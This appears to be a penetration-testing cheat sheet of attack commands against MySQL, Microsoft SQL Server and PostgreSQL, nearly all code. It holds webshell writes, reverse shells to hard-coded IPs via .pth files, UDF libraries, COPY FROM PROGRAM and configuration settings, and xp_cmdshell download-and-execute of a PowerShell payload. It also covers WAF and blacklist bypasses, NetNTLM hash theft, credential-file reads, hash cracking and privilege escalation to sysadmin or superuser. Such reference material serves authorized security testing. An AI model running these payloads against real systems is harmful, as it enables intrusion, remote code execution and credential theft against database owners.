Skip to main content
Database services are common targets during pentests. Each DBMS has unique features that can be abused for privilege escalation and code execution.

MySQL (Port 3306)

Connection

mysql -u root             # No password
mysql -u root -p          # Password prompt
mysql -h <Host> -u root
mysql -h <Host> -u root@localhost

Enumeration

# Nmap
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,\
mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,\
mysql-variables,mysql-vuln-cve2012-2122 <IP>
show databases;
use <database>;
show tables;
describe <table_name>;

select version();
select user();
select database();

-- Read file
select load_file('/var/lib/mysql-files/key.txt');

-- Write webshell
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 
INTO OUTFILE 'C:/xampp/htdocs/back.php';

MySQL Permissions

SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SELECT * FROM mysql.user;
SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';

MySQL INTO OUTFILE → Python .pth RCE

-- Drop a .pth file in Python site-packages for RCE
-- Exploits Python's site.py loading .pth files at interpreter startup
SELECT 'import os,subprocess;subprocess.call("bash -i >& /dev/tcp/10.10.14.66/4444 0>&1",shell=True)'
INTO OUTFILE '../../lib/python3.10/site-packages/x.pth';
-- Then request any CGI Python script to trigger execution

MySQL UDF (User Defined Function) RCE

-- Linux: Upload malicious library
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
show variables like '%plugin%';
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Rogue MySQL Server Attack

When JDBC clients connect to attacker-controlled MySQL server with allowLoadLocalInfile=true:
# Start rogue MySQL server
java -jar fake-mysql-cli.jar -p 3306
# Then direct victim to: jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true

Extracting Credentials

# Plain-text password in debian.cnf
cat /etc/mysql/debian.cnf

# Hashes from MySQL data files
grep -oaE "[-_.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

# Crack SHA-256 hashes (MySQL ≥ 8.0)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Microsoft SQL Server (Port 1433)

Connection

# mssqlclient.py (Impacket)
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
mssqlclient.py -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>  # Local user

Enumeration

# Nmap
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,\
ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,\
ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,\
mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
-- Version and user
select @@version;
select user_name();

-- Databases
SELECT name FROM master.dbo.sysdatabases;

-- Tables
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;

-- List users and hashes
select sp.name as login, sp.type_desc as login_type, sl.password_hash,
  sp.create_date, sp.modify_date,
  case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status
from sys.server_principals sp
left join sys.sql_logins sl on sp.principal_id = sl.principal_id
where sp.type not in ('G', 'R') order by sp.name;

-- List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

-- My permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

OS Command Execution via xp_cmdshell

-- Enable xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';

-- Bypass blacklisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' --

Steal NetNTLM Hash

-- Trigger outbound auth to Responder
xp_dirtree '\\\\<attacker_IP>\\any\\thing'
exec master.dbo.xp_dirtree '\\\\<attacker_IP>\\any\\thing'
EXEC master..xp_subdirs '\\\\<attacker_IP>\\anything\\'

-- Capture with
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support

Privilege Escalation: db_owner to sysadmin

-- Find trustworthy databases where you are db_owner
SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a
INNER JOIN sys.databases as b ON a.name=b.name;

USE <trustworthy_db>
-- Create stored procedure as owner
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin';
-- Execute it
USE <trustworthy_db>
EXEC sp_elevate_me;
SELECT IS_SRVROLEMEMBER('sysadmin');

User Impersonation

-- Find impersonable users
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate sa
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;  -- Revert back

Write Files

-- Enable Ole Automation Procedures
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- Create file
DECLARE @OLE INT; DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';

User Enumeration via RID Brute Force

nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'password' --rid-brute 5000

PostgreSQL (Port 5432)

Connection

psql -U <user>                    # Local
psql -h <host> -U <user> -d <db>  # Remote
psql -h <host> -p <port> -U <user> -W <pass> <db>

Enumeration

\list          -- List databases
\c <database>  -- Use database
\d             -- List tables
\du+           -- Get users and roles

SELECT user;
SELECT current_catalog;
SELECT usename, passwd FROM pg_shadow;  -- Credentials
SELECT current_setting('is_superuser');

File Read

-- Requires pg_read_server_files or superuser
CREATE TABLE demo(t text);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo;

-- pg_read_file function
SELECT pg_read_file('/etc/passwd', 0, 1000000);

COPY TO PROGRAM (RCE)

-- Requires superuser or pg_execute_server_program
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;

-- Reverse shell
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);
  $c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");
  STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

-- Bypass keyword WAF filter
DO $$
DECLARE cmd text;
BEGIN
  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
  EXECUTE cmd;
END $$;

File Write

-- Requires superuser or pg_write_server_files
COPY (SELECT convert_from(decode('<BASE64_PAYLOAD>','base64'),'utf-8'))
TO '/just/a/path.exec';

Privilege Escalation: CREATEROLE

-- If you have CREATEROLE, grant yourself to powerful groups
GRANT pg_execute_server_program TO username;  -- RCE
GRANT pg_read_server_files TO username;        -- File read
GRANT pg_write_server_files TO username;       -- File write

-- Change other user passwords
ALTER USER user_name WITH PASSWORD 'new_password';

-- Escalate to superuser via COPY
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

PostgreSQL Configuration File RCE

-- Method 1: ssl_passphrase_command
-- Set ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
-- Set ssl_passphrase_command_supports_reload = on
-- Execute: SELECT pg_reload_conf();

-- Method 2: archive_command (requires archive_mode=on)
-- Set archive_command = 'reverse_shell_command'
-- Execute: SELECT pg_reload_conf(); SELECT pg_switch_wal();

Dumping Hashes and Credentials

# PostgreSQL credential hashes
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump

# From pgAdmin4 database
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"

Privilege Escalation: Overwrite pg_authid

If you can read and write files, overwrite the pg_authid table filenode to become superuser:
-- 1. Get data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

-- 2. Get pg_authid filenode path
SELECT pg_relation_filepath('pg_authid');

-- 3. Import current filenode
SELECT lo_import('/var/lib/postgresql/13/main/global/1260', 13337);

-- 4. Edit with postgresql-filenode-editor (set all rol* flags to 1)
-- 5. Export modified filenode back
SELECT lo_from_bytea(13338, decode('<BASE64_EDITED_FILENODE>','base64'));
SELECT lo_export(13338, '/var/lib/postgresql/13/main/global/1260');

Quick Reference: Nmap Commands

# MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,\
mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse <IP> -p 3306

# MSSQL
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,\
ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password= -sV -p 1433 <IP>

# PostgreSQL
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Build docs developers (and LLMs) love